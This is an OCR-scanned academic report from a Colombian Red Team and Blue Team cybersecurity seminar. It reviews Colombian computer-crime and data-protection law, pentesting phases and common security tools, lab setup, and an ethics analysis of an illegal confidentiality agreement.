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Resumen
El presente informe integra los resultados de las cuatro etapas desarrolladas dentro del Seminario
Especializado en Equipos Estratégicos en Ciberseguridad: Red Team & Blue Team, con el
proposito de analizar de manera articulada los aspectos legales, éticos, ofensivos y defensivos
involucrados en un incidente de ciberseguridad. En primera instancia, se revisa el marco
normativo colombiano aplicable a los delitos informaticos y al tratamiento de datos personales,
asi como los principios éticos que rigen el ejercicio profesional del ingeniero. Posteriormente, se
documentan las acciones ofensivas propias del Red Team, incluyendo reconocimiento,
explotacion de vulnerabilidades, instalacion de un RAT, establecimiento de tuneles reversos y
movimiento lateral dentro de una red segmentada. A continuacidn, se examinan las actividades
defensivas del Blue Team, centradas en el monitoreo, la deteccion de anomalias, la contencion,
el andlisis forense y la aplicacion de medidas de hardening. Finalmente, se formulan
recomendaciones orientadas a fortalecer la interaccion entre ambos equipos, mejorar la
capacidad de respuesta ante incidentes y consolidar una postura de seguridad mas robusta y
proactiva dentro de las organizaciones.
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Abstract

This report integrates the results of the four stages carried out within the Specialized
Seminar on Strategic Cybersecurity Teams: Red Team & Blue Team, with the purpose of jointly
analyzing the legal, ethical, offensive, and defensive aspects involved in a cybersecurity incident.
First, the Colombian regulatory framework applicable to computer crimes and personal data
protection is reviewed, along with the ethical principles that govern professional engineering
practice. Subsequently, the offensive actions executed by the Red Team are documented,
including reconnaissance, exploitation of vulnerabilities, deployment of a RAT, establishment of
reverse tunnels, and lateral movement within a segmented network. Next, the defensive activities
of the Blue Team are examined, focusing on monitoring, anomaly detection, containment,
forensic analysis, and the implementation of hardening measures. Finally, recommendations are
proposed to strengthen the interaction between both teams, enhance the organizational incident
response capabilities, and consolidate a more robust and proactive security posture.

Keywords: Blue Team, cybersecurity, containment, explotation, RedTeam.
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Glosario
Acceso Abusivo a Sistemas Informaticos
Delito tipificado en la Ley 1273 que consiste en ingresar sin autorizacion a un sistema
informatico.
ACL (Access Control List)
Listas que definen qué trafico, usuarios o servicios pueden comunicarse entre si en una red.
Analisis de Vulnerabilidades
Etapa del pentesting en la que se identifican debilidades explotables mediante herramientas
automaticas.
Backdoor (Puerta trasera)
Mecanismo o software que permite acceso remoto no autorizado al sistema, como por ejemplo
DarkComet RAT.
Blue Team
Equipo encargado de la defensa continua, monitoreo, hardening y prevencion de ataques.
Ciberespionaje
Acciones orientadas a obtener informacion de manera clandestina mediante técnicas
informaticas.
Chisel
Herramienta usada para crear tineles reversos y permitir pivoting a redes internas.
Confidencialidad
Principio de proteccion del dato que garantiza que solo usuarios autorizados acceden a la
informacion. Asociado a la Ley 1581 de 2012.
Contencion

Acciones inmediatas para frenar un ataque mientras se conserva evidencia digital.
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DarkComet RAT

Troyano de acceso remoto que permite controlar completamente un equipo comprometido.
Detectado en el puerto 1604/tcp del Host A.

Datos Personales

Informacidn que permite identificar a una persona. Regulado por leyes 1581 y 1266.
Deteccion

Capacidad de identificar eventos o comportamientos andmalos mediante monitoreo y
herramientas como SIEM.

Escalacion de Privilegios

Técnica donde el atacante obtiene acceso con mayores permisos dentro del sistema.

Escaneo de Puertos

Proceso de identificacion de puertos y servicios abiertos mediante herramientas como Nmap.
Exfiltracion de Informacion

Transferencia no autorizada de datos hacia un externo.

Explotacion

Etapa del pentesting en la cual se aprovecha una vulnerabilidad para obtener acceso al sistema.
Firewall

Dispositivo o software que filtra trafico de red segun reglas predefinidas. Asociado a practicas de
contencidn y segmentacion.

Habeas Data

Derecho a conocer, actualizar y rectificar informacion personal registrada en bases de datos. Ley
1266 de 2008.

Hardening (Endurecimiento)

Conjunto de practicas para reducir la superficie de ataque mediante configuraciones seguras.
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HFS (HttpFileServer)

Servidor HTTP identificado como vulnerable (version 2.3), explotable mediante CVE-2014-
6287.

IDS/IPS

Tecnologias que permiten detectar y detener comportamientos maliciosos mediante la inspeccion
del trafico.

Ley 1273 de 2009

Norma penal que tipifica los delitos informéaticos en Colombia.

Ley 1581 de 2012

Regulacion general del tratamiento de datos personales.

Metasploit Framework

Plataforma de explotacidon usada para pruebas de pentesting (penetracion).

MITRE ATT&CK

Marco de conocimiento que clasifica las tacticas asi como las diversas técnicas de ataque, este
usado en el analisis de incidentes.

Movimiento Lateral

Accidn de un atacante para desplazarse entre sistemas después de comprometer un primero.
Nmap (Network Mapper)

Herramienta utilizada para detectar hosts, puertos y servicios expuestos.

NVD (National Vulnerability Database)

Base de datos internacional para consulta de vulnerabilidades y CVEs.

Pentesting (Pruebas de Penetracion)

Proceso que evalua la seguridad mediante ataques controlados en fases como reconocimiento,

escaneo, explotacion y reporte.
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Pivoting

Técnica que usa un equipo comprometido como puente hacia otra red interna.
Post-explotacion

Acciones posteriores a comprometer un sistema, como extraccion de datos o persistencia.
RCE (Remote Code Execution)

Vulnerabilidad que permite ejecutar comandos de forma remota. Asociada a HFS 2.3.

Red Team

Equipo ofensivo delegado para la simulacion ataques reales, con el fin de evaluaciones de la
seguridad.

Respuesta a Incidentes

Proceso reactivo para contener, analizar y erradicar un ataque informatico.

Segmentacion de Red

Se refiere a separar de manera logica o fisica areas de una red para limitar el movimiento lateral.
SIEM (Security Information and Event Management)

Herramienta que retine y procesa eventos de seguridad para su correlacion y analisis.

Tunel Reverso

Canal de comunicacion iniciado desde la maquina comprometida hacia el atacante para evadir
controles.

Vulnerabilidad

Debilidad que puede ser explotada para comprometer un sistema o servicio.
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Introduccion

La ciberseguridad moderna exige una comprension integral de los aspectos legales,
éticos, técnicos y operativos que intervienen en la proteccion de los sistemas de informacion,
dentro del Seminario se desarrollaron cuatro etapas progresivas orientadas a entender el ciclo
completo de un ataque y su respectiva defensa, desde el analisis normativo hasta la contencion
del incidente. Cada una de estas fases permitid construir una vision sistémica sobre como
interactiian los equipos ofensivos y defensivos dentro de escenarios reales de riesgo.

En la primera etapa se reviso el marco legal colombiano relacionado con delitos
informadticos y proteccion de datos, evidenciando la importancia de la Ley 1273 de 2009, la Ley
1581 de 2012y la Ley 1266 de 2008 como pilares fundamentales para regular el ejercicio ético y
responsable de la seguridad digital. La segunda fase profundizé en los dilemas éticos que pueden
presentarse en la practica profesional, resaltando la necesidad de que los ingenieros actuen
conforme al Codigo de Etica del COPNIA y reconociendo los riesgos que implica normalizar
actividades ilicitas bajo la apariencia de acuerdos contractuales.

Posteriormente, la tercera etapa permiti6 aplicar técnicas ofensivas propias del Red
Team, mediante el andlisis forense de un sistema comprometido, la identificacion de
vulnerabilidades criticas, la explotacion controlada de servicios inseguros, y el uso de
herramientas como Nmap, Metasploit, PowerShell y Chisel para validar la existencia de un fallo
de seguridad y demostrar un movimiento lateral dentro de una red segmentada. Este ejercicio
evidenci¢ la criticidad de contar con mecanismos de monitoreo, segmentacion efectiva y
controles que limiten la expansion del atacante.

Finalmente, la cuarta etapa abord6 la perspectiva defensiva del Blue Team, analizando un
incidente en tiempo real, las acciones tempranas de contencion, la preservacion de evidencia

volatil, el uso de herramientas de analisis como Wireshark, asi como la formulacién de medidas
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de hardening basadas en buenas practicas como CIS Benchmarks, Zero Trust y la
implementacion de IDS/IPS y SIEM. Esta fase permitio comprender como la deteccion
temprana, el analisis del comportamiento adversario y la respuesta estructurada son esenciales
para recuperar la normalidad operativa y reducir el impacto de una intrusion.

El presente informe unifica los resultados obtenidos en las cuatro etapas, relaciona sus
aprendizajes mas relevantes y plantea recomendaciones orientadas a robustecer y mejorar las
capacidades ya sea técnicas, estratégicas y organizacionales de los equipos Red Team y Blue
Team. Su propdsito es integrar lo aprendido a lo largo del curso y aportar una visiéon consolidada
sobre como las técnicas ofensivas y defensivas deben coexistir como partes complementarias de

un mismo ecosistema de seguridad.
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Justificacion

Ante una creciente utilizacion y dependencia de las empresas hacia elementos digitales y
tecnologicos, ha incrementado la exposicion a amenazas cibernéticas cada vez mas sofisticadas;
En este contexto, resulta indispensable comprender de manera integrada los aspectos legales,
¢éticos y técnicos que intervienen para proteger los diversos sistemas de informacion, las
actividades desarrolladas en las cuatro etapas del seminario constituyen un recorrido completo
por el ciclo de un ataque informadtico, desde su origen y explotacion hasta su deteccion,
contencidn y andlisis posterior, lo cual permite evaluar la seguridad desde perspectivas ofensivas
y defensivas.

Unificar estas etapas en un solo informe responde a la necesidad de articular los hallazgos
obtenidos y generar una vision global del ejercicio, evitando analizar cada fase de manera
aislada, por ello la interaccion entre los equipos no solo evidencia la importancia de contar con
profesionales capacitados en técnicas de intrusion y defensa, sino también de comprender el
marco legal que regula estas actividades y las implicaciones éticas que surgen en la practica
profesional, esto permite identificar brechas reales y plantear mecanismos de mejora que
fortalezcan la postura de seguridad institucional.

Se presenta la necesidad de consolidar el aprendizaje obtenido, relacionando teoria,
practica y normativa para ofrecer una propuesta coherente de estrategias que mejoren la
operacidn conjunta entre los equipos ofensivos y defensivos, también proporciona un insumo
académico y practico que asiste en el momento de tomar decisiones relacionadas con la
seguridad, al evidenciar como la deteccion temprana, el andlisis de indicadores de compromiso y
el disefio de controles preventivos resultan fundamentales para anticipar, mitigar y responder de

manera eficaz ante incidentes de ciberseguridad.
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Objetivos
Objetivo General
Articular y analizar los productos obtenidos en cada una de las cuatro fases del seminario
especializado, con el fin de evaluar de manera integral los aspectos legales, éticos, ofensivos y
defensivos involucrados en un incidente de ciberseguridad, y proponer estrategias de mejora que

fortalezcan la postura de seguridad de las empresas.

Objetivos Especificos

Examinar el marco legal y ético aplicable a las operaciones de ciberseguridad,
identificando las leyes, principios y responsabilidades profesionales que regulan las actividades
ofensivas y defensivas.

Analizar las técnicas de reconocimiento, explotacion, movimiento lateral y
postexplotacion utilizadas por el Red Team, evaluando su impacto en la seguridad de los
sistemas comprometidos durante el ejercicio practico.

Describir las acciones de monitoreo, deteccion, contencion y andlisis forense realizadas
por el Blue Team, destacando las herramientas utilizadas y la efectividad de las respuestas frente
al incidente simulado.

Proponer recomendaciones basadas en buenas practicas de ciberseguridad que permitan
optimizar la interaccion entre Red Team y Blue Team, mejorar la deteccion temprana, fortalecer

los controles preventivos y reducir el riesgo de incidentes futuros.
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Etapa 1 Fundamentos de Operaciones Red Team y Blue Team

Margen Legal en Colombia sobre delitos informaticos

En Colombia, el marco juridico para la prevencion, investigacion y sancion de los delitos
informaticos se ha fortalecido en las ultimas décadas en respuesta al crecimiento del uso de
tecnologias digitales y al aumento de amenazas cibernéticas. La Ley 1273 de 2009 constituye la
base normativa mas relevante, al crear un nuevo bien juridico tutelado denominado “proteccion
de la informacion y de los datos™ y tipificar conductas como el acceso no autorizado, la
interceptacion de datos, la obstaculizacion de sistemas informaticos y el fraude electronico.
Complementariamente, normas como la Ley 1581 de 2012 sobre proteccion de datos personales
y disposiciones del Codigo Penal y el Cddigo de Procedimiento Penal ofrecen lineamientos
adicionales para el tratamiento de evidencias digitales y la responsabilidad penal. Este marco
legal busca equilibrar la innovacion tecnologica con la seguridad digital y la proteccion de
derechos fundamentales en el entorno virtual, adicionalmente considerando la legislacion penal
esta presidida en la actualidad por la Ley 599 de 2000 del codigo penal colombiano; Alli se
describen conductas consideradas punibles. (Guarnizo Portela, 2024).
Ley 1273 de 2009 — Modificacion al Codigo Penal

Es una ley que incorpora al codigo penal una serie de tipos penales especificos para

proteger la informacion, los datos y los sistemas de informacion frente a conductas tecnoldgicas
ilicitas, el objetivo de esta ley es el de actualizar el Codigo Penal colombiano para sancionar los
delitos cometidos con el uso de tecnologias de la informacion y las comunicaciones, asi como
proteger los pilares a saber: confidencialidad, integridad y disponibilidad de los datos y también
de los diversos sistemas de informacion, se trato de la primera ley colombiana que tipifica y
sanciona especificamente los delitos informéaticos, adaptando el derecho penal a la era digital y

fortaleciendo la ciberseguridad juridica del pais.



21

Define y penaliza conductas como las siguientes

. Acceso abusivo a sistemas informdaticos (art. 2694)
J Obstaculizacion ilegitima de sistemas informaticos (art. 269B)
. Interceptacion de datos informaticos (art. 269C)

o Dario informatico (art. 269D)

o Uso de software malicioso (art. 269E)

. Violacion de datos personales (art. 269F)

. Suplantacion de sitios web para capturar datos personales (phishing) (art. 269G)
o Hurto por medios informdticos y semejantes (art. 2691)

La ley establece penas como prision y multas, que varian segun el tipo penal y la
gravedad (por ejemplo, el acceso no autorizado y el dafio informatico tienen rangos de pena), con
la finalidad de crear proteccion penal especifica frente a ataques y conductas que antes no
quedaban bien cubiertas por el codigo penal tradicional.

La importancia de esta ley radica en ser salvaguarda para los usuarios en el entorno
digital, ya que crea un marco legal para fomentar el uso de la tecnologia.

Ley 1581 de 2012 — Régimen general de proteccion de datos personales

Esta ley regula el tratamiento de datos personales en Colombia (recoleccion,
almacenamiento, uso, circulacion y supresion) para responsables y encargados del tratamiento,
tanto en sector publico como privado, su articulo 1° indica que esta la ley tiene por objeto el
desarrollo del derecho de las personas a conocer, actualizar y rectificar la informacién que sobre
ellas se haya recolectado ya sea en bases de datos como en archivos, busca proteger los demas
derechos, libertades y garantias establecidas en la constitucion al respecto del dato personal

(articulo 15 C.P.) y el derecho a la informacion (articulo 20 C.P.).
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La Ley 1581 de 2012 se aplica a todos los datos personales contenidos en bases de datos que
permitan su tratamiento, ya sea gestionadas por entidades publicas o privadas. Su alcance incluye
el tratamiento de datos realizado dentro del territorio colombiano, asi como aquel efectuado fuera
del pais cuando, por disposicion legal o por tratados internacionales, deba someterse a la
legislacion colombiana.

La ley incorpora un conjunto de principios que deben ser observados al realizar el
tratamiento de datos personales, algunos de ellos:

o Principio de legalidad: el tratamiento debe sujetarse a lo que la ley establece.
o Principio de finalidad: los datos deben ser tratados para fines legitimos,

determinados y explicitos.

° Principio de veracidad o calidad: la informacion debe ser veraz, completa, exacta,
actualizada.
J Principio de transparencia: el titular debe conocer la existencia de tratamiento,

quien lo realiza, para qué fines.

. Principio de acceso y circulacion restringida: los datos solo pueden circular bajo
condiciones que aseguren su proteccion.

o Principio de seguridad: deben adoptarse las medidas técnicas, humanas y
administrativas para proteger los datos.

J Principio de confidencialidad: quienes intervienen en el tratamiento estan
obligados a garantizar la reserva.

Establece derechos para los titulares de los datos, como derecho a conocer, actualizar,
rectificar y solicitar supresion de sus datos (habeas data), es decir manejo de la informacion, por

otra parte plantea obligaciones de responsables/encargados del tratamiento de datos, como
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implementar politicas de tratamiento, mecanismos para ejercer derechos, medidas de seguridad
técnicas y administrativas.

Designa a la Superintendencia de Industria y Comercio (SIC) como autoridad encargada
de vigilar y sancionar incumplimientos y define la existencia de un Registro Nacional de Bases
de Datos.

Ley 1266 de 2008 — Habeas data / informacion financiera y crediticia

Esta ley también conocida como la Ley de Habeas Data Financiero, regula el manejo de la
informacion contenida en bases de datos personales, especialmente la relacionada con el historial
crediticio y financiero de las personas, establece reglas sobre circulacion de esa informacion y
responsabilidades de las centrales de riesgo.

Entre sus caracteristicas se encuentra el establecimiento de reglas especificas sobre
legitimacion del tratamiento en datos crediticios y financieros, lineamientos para regular el
manejo de la informacion financiera, crediticia, comercial y de servicios, garantizando el derecho
al habeas data (es decir, conocer, actualizar y rectificar la informacion personal).

El ambito de aplicacion cubre a todas las entidades publicas y privadas que administren o
utilicen datos financieros, crediticios, comerciales o de servicios (por ejemplo, centrales de
riesgo como Datacrédito), y otorga derechos del titular de la informacién, como conocer qué
informacion suya esta registrada, solicitar la actualizacion, correccion o eliminacion de datos
inexactos, ser informado sobre el uso de sus datos, presentar reclamos ante la Superintendencia
de Industria y Comercio (SIC).

Se establecen obligaciones de las fuentes y operadores de datos, como lo es garantizar que la
informacion sea veraz, completa, actualizada y comprobable, actualizar los datos dentro de los
plazos establecidos y permitir al titular de los datos ejercer sus derechos.

Principios rectores del tratamiento de datos que indica esta ley:
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J Veracidad o calidad de los datos.

o Finalidad (solo se pueden usar con el proposito para el cual fueron recolectados).
. Circulacion restringida (solo puede compartirse con quienes tengan derecho).

J Temporalidad (la informacion negativa no puede mantenerse indefinidamente).

o Integridad y seguridad.

Su incumplimiento puede generar sanciones econémicas y administrativas a las entidades
que traten datos personales de manera indebida.
En Colombia se han realizado diagndsticos y politicas respecto a la confianza digital y la
seguridad, que buscan adopcidon de modelos con énfasis en nuevas tecnologias. (Departamento
Nacional de Planeacion, 2020).
Etapas del pretesting
Reconocimiento

El reconocimiento consiste en recopilar informacion publica y detectable sobre la
organizacion y los objetivos, por ejemplo, dominios, subdominios, IP ptblicas, tecnologias
usadas, emails, perfiles publicos.

El objetivo de esta etapa es mapear superficie de ataque sin interactuar intrusivamente, en
esta fase podemos hacer reconocimiento activo, pasivo o bien mezclar entre ambos enfoques, el
primero no deja ningun rastro de que se esta recogiendo informacion sobre un objetivo eso es sin
tener que interactuar directamente con este, por su parte el reconocimiento activo si deja rastro
digital, al interactuar directamente con el objetivo analizado. (Ec-Council, 2025)

Ejemplo de herramienta: theHarvester (OSINT para correos, subdominios y hosts),
también se usan buscadores, registros WHOIS, y fuentes publicas, como entrega se encuentra

usualmente un listado de recursos publicos y hallazgos OSINT.
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Escaneo

Una vez recopilada toda la informacion pertinente durante la etapa de reconocimiento, se
avanza a la fase de escaneo, en este tramo del pentesting, el evaluador emplea distintas
herramientas para detectar puertos abiertos y monitorizar el trafico de red del objetivo, como los
puertos abiertos representan posibles vectores de ataque, es crucial identificar el mayor nimero
posible para preparar la fase siguiente.

Cabe sefialar que esta actividad también puede ejecutarse fuera del contexto de pruebas de
penetracion; cuando ocurre asi, se conoce como andlisis de vulnerabilidades y normalmente se
automatiza.

En esta fase se realizan actividades como interactuar con los sistemas para identificar
puertos abiertos, servicios, versiones, y recursos expuestos (web, SMB, FTP, etc.), donde el
objetivo transformar la informacion ptblica en un inventario técnico de servicios visibles.

Ejemplo de herramienta: Nmap (escaneo de puertos y fingerprinting de servicios).
Analisis de vulnerabilidades

En esta etapa, el evaluador aprovecha toda la informacion obtenida durante las fases de
reconocimiento y escaneo para detectar posibles vulnerabilidades y analizar si pudieran ser
explotadas, de la misma manera que ocurre con el escaneo, puede emplearse como un proceso
independiente, aunque alcanza su mayor eficacia cuando se integra con las demas fases del
pentesting.

Para valorar el nivel de riesgo asociado a las vulnerabilidades encontradas, los evaluadores
disponen de diversas fuentes de informacion, una de las mas relevantes es la base de datos
nacional de vulnerabilidades (NVD), un repositorio administrado por el gobierno de los Estados
Unidos que recopila y analiza vulnerabilidades reportadas en la base de datos de

Vulnerabilidades y Exposiciones Comunes (CVE), la NVD clasifica la gravedad de cada
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vulnerabilidad utilizando el Sistema de Puntuacion de Vulnerabilidades Comunes (CVSS), lo
que permite priorizar las acciones de mitigacion segun su nivel de riesgo.

Ejemplo de herramienta: OpenVAS o Nessus (escaneres de vulnerabilidades que generan
fichas por hallazgo).
Explotacion

En esta fase se busca de forma controlada y segun el alcance, explotar vulnerabilidades
identificadas para obtener acceso a un sistema y el objetivo es validar que una vulnerabilidad es
explotable y ver el impacto real.

Una vez identificadas las vulnerabilidades, es momento de explotarlas, el evaluador intenta
acceder al sistema objetivo y explotar las vulnerabilidades identificadas, generalmente utilizando
una herramienta como Metasploit para simular ataques reales.

Durante esta etapa se aplican diferentes metodologias y procedimientos segun el tipo de
software o sistema evaluado y las vulnerabilidades identificadas, entre aquellas metodologias
mas reconocidas es la propuesta por el Open Web Application Security Project (OWASP), que
proporciona un conjunto de diversas acciones, como las buenas practicas y medidas de
mitigacion orientadas a abordar las vulnerabilidades detectadas en aplicaciones y sistemas.

Esta es quizas la fase més delicada de las pruebas de penetracion, ya que acceder al sistema
objetivo requiere eludir las restricciones de seguridad, durante esta etapa se debe extremar la
precaucion para no causar dano—nunca explotar fuera de lo autorizado.

Ejemplo de herramienta: Metasploit Framework (plataforma para pruebas de explotacion y

pruebas controladas).
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Post Explotacion

En esta fase se analiza el sistema comprometido para entender el alcance (por ejemplo,
credenciales, datos sensibles, conectividad interna) y recolectar evidencia para el posterior
reporte, el objetivo en esta etapa es medir impacto real y posibles caminos internos desde el
punto de acceso inicial.

La post explotacion permite determinar cudl es el impacto real de las vulnerabilidades
explotadas y también validar en que parte de la red se encuentran elementos comprometidos, y
lograr luego plantear soluciones que mitiguen los fallos de seguridad encontrados.

Ejemplo de herramienta: Meterpreter (payload dentro de Metasploit para post-explotacion) o
herramientas de recopilacion de informacion local, se espera obtener una lista de activos
comprometidos, datos accesibles, capturas de evidencia, etc.

Informes

Al concluir la fase de explotacion, el evaluador prepara un informe en el que se
documentan de manera detallada los hallazgos obtenidos durante la prueba de penetracion, este
informe, correspondiente a la etapa final del proceso, sirve como base para corregir las
vulnerabilidades detectadas y fortalecer la postura de seguridad de la organizacion.

La elaboracion del informe requiere una descripcion clara y estructurada de las
vulnerabilidades identificadas, junto con su contexto y posible impacto, de modo que la
organizacion pueda implementar las acciones necesarias para mitigar los riesgos de seguridad.

Esta fase es util para compilar hallazgos técnicos y de negocio, priorizar vulnerabilidades,
proponer mitigaciones y plan de remediacion, y presentar resultados a las partes interesadas, y
tiene como objetivo transformar los hallazgos técnicos en acciones concretas para reducir riesgo.

Ejemplo de herramienta: Dradis (gestion de reportes) o plantillas en Word/PDF; también se

usan dashboards en Confluence o PowerPoint para la entrega ejecutiva.
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Herramientas de ciberseguridad
Metasploit

Este proyecto es una iniciativa de seguridad informatica que recopila y ofrece informaciéon
sobre vulnerabilidades, ademas de facilitar la ejecucion de pruebas de penetracion, Actualmente
pertenece a Rapid7, una empresa estadounidense de ciberseguridad, su componente mas
conocido es el Metasploit Framework, una herramienta de codigo abierto para desarrollar y
ejecutar exploits en sistemas remotos.

El proyecto también incorpora herramientas de antiforense y remediacion, varias de las
cuales estan integradas en el propio Framework, usualmente Metasploit suele venir preinstalado
en la distribucion Kali Linux.

Este Framework est4 destinado para pruebas de penetracion y explotacion de
vulnerabilidades (principalmente ofensivo), el cual sirve para probar exploits conocidos contra
sistemas objetivo, desarrollar y ejecutar payloads (cargas ttiles), y automatizar pruebas de
explotacion en entornos controlados.

Nmap

Nmap, viene de los términos Network Mapper o mapeador de redes, esta es un software de
linea de comandos de cddigo abierto para Linux, utilizado para analizar tanto direcciones IP
como los diferentes puertos que se encuentran en una red, tambien para identificar las
aplicaciones instaladas, esta herramienta ayuda a los administradores de red detectar los
elementos o dispositivos que se encuentran activos, identificar puertos y servicios abiertos y
reconocer posibles vulnerabilidades en la infraestructura. (Shivanandhan, 2020).

Funciona como Scanner de puertos y descubrimiento a fin de identificar hosts activos,
puertos abiertos, servicios y versiones, y hacer fingerprinting del sistema operativo, es bastante

util en reconocimiento durante pentesting y auditorias de red.
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Permite el escaneo de puertos TCP/UDP, deteccidn de servicios, deteccion de SO, scripts
NSE para tareas avanzadas, distintos perfiles de velocidad/stealth, entre otras tareas.
OpenVAS

OpenVAS (Open Vulnerability Assessment System) es un software para realizar el
escaneo de vulnerabilidades, este es de uso libre que permite detectar y solucionar fallas de
seguridad o puntos debiles en los activos de una organizacion que podrian ser aprovechadas por
amenazas.

Esta funciona como plataforma de analisis de vulnerabilidades de codigo abierto y ofrece
escaneo y gestion de vulnerabilidades, que sirve para escanear sistemas y aplicaciones en busca
de vulnerabilidades conocidas, producir informes de riesgos y recomendaciones de mitigacion,
es una solucion orientada a auditorias periddicas de seguridad.

Se compone por servicios y herramientas que puede utilizarse de forma independiente o
como parte del conjunto de soluciones de seguridad integradas en OSSIM (Open Source Security
Information Management), distribuciones como Kali Linux incluyen esta herramienta de manera
predeterminada, una vez instalado, OpenVAS también puede integrarse y utilizarse desde
Metasploit, el framework especializado en la explotacion de vulnerabilidades, aunque también
requiere afinamiento (falsos positivos), y es complementario a scanners comerciales en entornos
criticos.

Exploit DB (Exploit Database)

Es un repositorio publico de exploits, proof-of-concepts (PoC) y articulos relacionados con
vulnerabilidades. Mantenido por Offensive Security, el cual sirve: buscar exploits y PoC
conocidos por software, version o CVE; investigar técnicas de ataque; aprender como se

explotan vulnerabilidades especificas.
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Se utiliza buscando por nombre del software, version o por CVE; leer el exploit/PoC para
entender condiciones y payloads, considerando que la informacion es técnica y puede usarse con
fines maliciosos; emplearla solo en pruebas autorizadas y para parcheo/defensa.

Este es un proyecto sin fines de lucro creado por Offensive Security, la misma
organizacion responsable de la distribucion Kali Linux y ofrece a los investigadores de seguridad
una fuente adicional para verificar si existen exploits asociados a las vulnerabilidades que
descubren.

Se presenta como una aplicacion web que agrega repositorios publicos de exploits
contribuidos por la comunidad y permite consultarlos, descargarlos y emplearlos. Pentesters de
todo el mundo acceden gratuitamente a estos recursos para mejorar la profundidad y calidad de
sus auditorias de ciberseguridad.

CVE (Common Vulnerabilities and Exposures)

Se refiere a un sistema de identificadores estandarizado (CVE-ID) para las vulnerabilidades
publicas (ej.: CVE-2024-XXXX). Mantiene una lista organizada que referencia detalles en bases
de datos, que se utiliza para identificar y comunicar vulnerabilidades de forma inequivoca;
buscar detalles técnicos, puntuaciones CVSS y soluciones/mitigaciones asociadas, al encontrar
una vulnerabilidad en un escaneo o informe, identificar su CVE y consultar fuentes oficiales
(boletines del fabricante) para parches y mitigaciones.

Las Vulnerabilidades y Exposiciones Comunes (CVE, por sus siglas en inglés) constituyen
un sistema de referencia que recopila y describe amenazas de seguridad conocidas publicamente,
esta lista es administrada por la MITRE Corporation, una organizacion sin fines de lucro que
gestiona centros de investigacion y desarrollo financiados por el gobierno de los Estados Unidos.
El proyecto CVE cuenta con el patrocinio de la Division Nacional de Ciberseguridad (NCSD)

del Departamento de Seguridad Nacional (DHS) de ese pais.
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En este sistema, una vulnerabilidad se define como un error en el cddigo de software que
permite a un atacante obtener acceso directo no autorizado a sistemas o redes, lo que puede
facilitar la propagacion de malware, por otro lado, una exposicion se entiende como una falla en
el codigo o en la configuracion del software que brinda al atacante un acceso indirecto a los
sistemas. Esto le permitiria infiltrarse en la red, recopilar informacion sensible, obtener
credenciales de usuario o acceder a datos confidenciales de clientes sin ser detectado.
Preparacion de banco de trabajo

Instalacion de VirtualBox

Figura 1
Instalando Virtual Box

"8 Oracle VirtualBox 7.2.4 Installer

Oracle VirtualBox 7.2.4

ORACLE

The installation process wil take several minutes

Status:

5 VirtualBox

Verson 724 (e erevous | M

Nota: Se realiza instalacion del software Oracle VirtualBox para montar el laboratorio

Figura 2

Descarga de recursos
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(/] D Parrot-security-6.3.2 a... X B 7  Aprild Luis Fernando Zam  6.87 GB &5 Shared
@ =.. Rejjeto_123456zip ® o B ¥  September3, 2. Luis Fernando Zam 14.6 MB 23 Shared
(V] D Win7-SE2020-X64.0va ¥ - [ ¥y  September3,2.  Luis FernandoZam 3.51GB &8 Shared

Nota: Se realiza la descarga de recursos de maquinas virtuales pre establecidas asi como del

aplicativo Rejjeto.
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Figura 3

Preparacion de maquinas virtuales

“ Oracle VirtualBox Administrador

~ ESISeq. DB =] Detaltes
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Thm  Parrot 05 Security Edition
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2 Pantalla

Adaptador 1 Intel PRO/10:
# use
Controlador USB: OHC, EHCI

Nota: Se procede a montar las imagenes necesarias para el laboratorio, en este caso Windows 7 y
Linux Parrot OS

Etapa 2 Etica Profesional y Marco Normativo en Operaciones de Seguridad
Identificacion de procesos ilegales o no éticos

Al revisar los anexos, se evidencia claramente que el acuerdo de confidencialidad
contiene cldusulas ilegales y no éticas que vulneran derechos fundamentales, leyes nacionales e
internacionales, y principios €ticos del ejercicio profesional.

Inicialmente se debe considerar que el escenario describe que los contratos fueron
redactados por un abogado despedido por “posibles irregularidades” y que no fueron revisados
por la alta gerencia, generando riesgo de incluir clausulas ilicitas o contrarias a la ética
profesional, por ejemplo, del documento Anexo 3 — Acuerdo se encuentra “.../a informacion
confidencial o sobre procesos ilegales dentro de SecureNova Labs no podran ser divulgados.

...”, esta clausula pretende ocultar posibles delitos cometidos por la empresa, impidiendo que el
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receptor denuncie actos ilicitos, ademas es un deber ciudadano de denunciar delitos; ademas, la
ley 599 de 2000, penaliza el encubrimiento.

Otro de los textos del acuerdo indica: “...datos secretos como ‘datos de chuzadas,
interceptacion de informacion, accesos abusivos a sistemas informaticos’, esto pretende
normalizar actividades ilegales (chuzadas, interceptacion, acceso abusivo), considerandolas parte
de la informacion confidencial, que de acuerdo con el cddigo penal colombiano esta tipificado
como parte de los delitos informaticos, las practicas de interceptacion deben realizarse con
autorizacion expresa y un marco legal.

El texto “No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacion de terceros.” que
hace parte del anexo como clausula, impone un deber de silencio frente a delitos, contradiciendo
la ley y los principios de transparencia y responsabilidad.

Al sefialar que “Abstenerse de denunciar y publicar la informacion confidencial e ilegal
que conozca...”, las palabras “informacion ilegal” implican que debemos debe callar incluso ante
actos ilicitos, sin embargo, como experto en seguridad informética debemos denunciar
vulneraciones o delitos cibernéticos, no ocultarlos.

‘

Finalmente, frente al texto que sefiala: “...en caso que la informacion ilegal o
confidencial sea encontrada en manos del receptor este deberd acudir a un abogado privado y
dejar exenta de cualquier responsabilidad legal y penal a SecureNova Labs.”, se pretende eximir

de responsabilidad a la empresa, incluso si esta cometid actos ilegales, pero la responsabilidad

penal es personal e intransferible, la empresa busca culpar al empleado.



Articulos de ley Vulnerados

34

La Ley 1273 tipifica varios delitos informaticos (articulos 269A al 269J del Codigo Penal

Colombiano), el “acuerdo de confidencialidad” de SecureNova Labs incluye clausulas que

pueden fomentar, permitir o encubrir varios de estos delitos.

Tabla 1

Articulos de ley Vulnerados en el acuerdo de confidencialidad

Articulo Delito tipificado Como lo vulnera el acuerdo
269A | Acceso abusivo a Justifica y protege accesos no autorizados como
sistemas informacion confidencial.
269B | Obstaculizacion Silencia la denuncia de espionaje o manipulacion
ilegitima de redes.
269C | Interceptacion de datos | Acepta y protege “chuzadas” e interceptaciones.
269D | Daio informatico Obliga a eliminar informacién que podria ser
evidencia.
269E | Uso de software Posible uso encubierto de malware o
malicioso herramientas ilicitas.
269F | Violacion de datos Oculta la sustraccion o uso indebido de datos
personales personales.
269H | Abuso de dispositivos | Implica el uso de medios técnicos ilegales sin
control.

